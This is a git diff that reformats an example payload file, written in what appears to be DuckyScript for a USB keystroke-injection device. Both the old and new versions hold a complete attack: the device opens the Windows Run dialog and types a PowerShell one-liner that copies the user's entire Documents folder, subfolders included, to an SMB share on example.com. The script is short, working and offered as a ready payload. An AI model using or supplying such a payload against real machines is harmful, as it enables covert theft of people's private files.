diff --git a/payloads/examples/Exfiltration/Exfiltration-example2.txt b/payloads/examples/Exfiltration/Exfiltration-example2.txt index a9bd9f6..94a230b 100644 --- a/payloads/examples/Exfiltration/Exfiltration-example2.txt +++ b/payloads/examples/Exfiltration/Exfiltration-example2.txt @@ -1 +1,16 @@ -REM Example Simple SMB Exfiltration Method for Windows ATTACKMODE HID DELAY 2000 DEFINE SMB_SERVER example.com DEFINE SMB_SHARE sharedfolder GUI r DELAY 100 STRING powershell “cp -r $env:USERPROFILE\Documents\* \\ STRING SMB_SERVER STRING \ STRING SMB_SHARE STRING “ ENTER REM This short Powershell one-liner, executed from the Windows Run dialog, will copy all documents (including subfolders) from the currently logged in user account’s documents folder to the defined SMB share. \ No newline at end of file +REM Example Simple SMB Exfiltration Method for Windows +ATTACKMODE HID +DELAY 2000 +DEFINE SMB_SERVER example.com +DEFINE SMB_SHARE sharedfolder +GUI r +DELAY 100 +STRING powershell "cp -r $env:USERPROFILE\Documents\* \\ +STRING SMB_SERVER +STRING \ +STRING SMB_SHARE +STRING " +ENTER + + +REM This short Powershell one-liner, executed from the Windows Run dialog, will copy all documents (including subfolders) from the currently logged in user account’s documents folder to the defined SMB share.